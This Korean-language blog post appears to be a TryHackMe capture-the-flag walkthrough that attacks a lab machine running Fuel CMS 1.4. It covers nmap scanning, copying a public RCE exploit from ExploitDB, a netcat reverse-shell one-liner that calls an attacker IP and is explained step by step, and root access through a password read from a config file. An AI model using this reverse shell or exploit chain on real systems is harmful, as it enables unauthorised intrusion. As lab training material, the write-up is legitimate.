1. Deploy the machine
2. Reconnaissance
2.1 Scanning
nmap 명령어를 통해 타겟을 스캔한다.
-sV : 어떤 버전을 사용하고 있는지 자세히 설명한다.
-sC : 기본 스크립트로 설정한다.
nmap -sV -sC 10.10.5.239 > scan_res
http : apache httpd 2.4.18
2.2 수동 탐색
웹서버의 페이지에 접속하면 Fuel CMS 1.4 버전을 사용하는 것을 알 수 있다.
설정 파일이 fuel/application/config 폴더에 저장되어 있는 것을 확인할 수 있다.
관리자 페이지도 노출되어 접근이 가능하다.
2.3 Searchsploit
ExploitDB 페이지와 연동되어 있으며, 동일한 결과가 나온다.
searchsploit Fuel CMS 1.4
3. Vulnerability Assessment
searchsploit 명령어 결과 RCE 취약점이 있음을 확인했다.
- RCE(Remote Code Execution)
시스템이 적절한 유효성 검사 없이 쉘 명령을 실행한다.
4. Exploitation
4.1 Initial Access
세번째 RCE 코드를 이용한다. 공격 코드를 복사하여 사용한다.
Path는 /usr/share/exploitdb/exploits/ 경로 아래에 있다.
cp /usr/share/exploitdb/exploits/php/webapps/50477.py ./ex.py
url 옵션과 함께 파일이 실행된다. url은 공격 서버를 작성한다.
시스템의 쉘을 얻어 명령어 실행이 가능하다.
현재의 쉘은 제한된 명령어만 실행이 가능하기 때문에 공격을 위해 리버스쉘로 변경해야 한다.
GitHub - d4t4s3c/OffensiveReverseShellCheatSheet: Collection of reverse shells for red team operations.
Collection of reverse shells for red team operations. - d4t4s3c/OffensiveReverseShellCheatSheet
github.com
reverse shell cheat sheet에서 가져온 명령어에서 수행할 서버의 주소로 변경해준다.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.110.159 9999 >/tmp/f
- rm /tmp/f : 이미 존재하는 /tmp/f 디렉터리 삭제
- mkfifo /tmp/f : /tmp/f fifo 생성
- fifo : 리눅스 커널에서 프로세스 간 통신을 위해 지원하는 특수 파일
- cat /tmp/f| : /tmp/f 내용 출력하여 다음 명령어에 전달
- /bin/sh -i 2>&1
- 표준에러를 표준출력으로 재지정 : 에러 메시지는 파일에 저장
- -i : interactive mode
- nc 10.9.110.159 9999 > /tmp/f : redirect that ouput to the named pipe
- User.txt
home 폴더에서 확인할 수 있다.
4.2 Privilege Escalation
2.2 수동탐색에서 /fuel/application/config 폴더에 설정파일이 존재한다는 것을 확인했다.
이동하면 데이터베이스 파일을 포함해 여러 설정 파일이 있다.
cat database.php
root 계정의 비밀번호가 mememe 임을 알 수 있다.
얻은 비밀번호를 이용하여 root 계정으로 로그인하여 권한을 얻을 수 있다.
- Root.txt
home 폴더에서 확인할 수 있다.
'report > tryhackme' 카테고리의 다른 글
RootMe(en) (0) | 2024.08.01 |
---|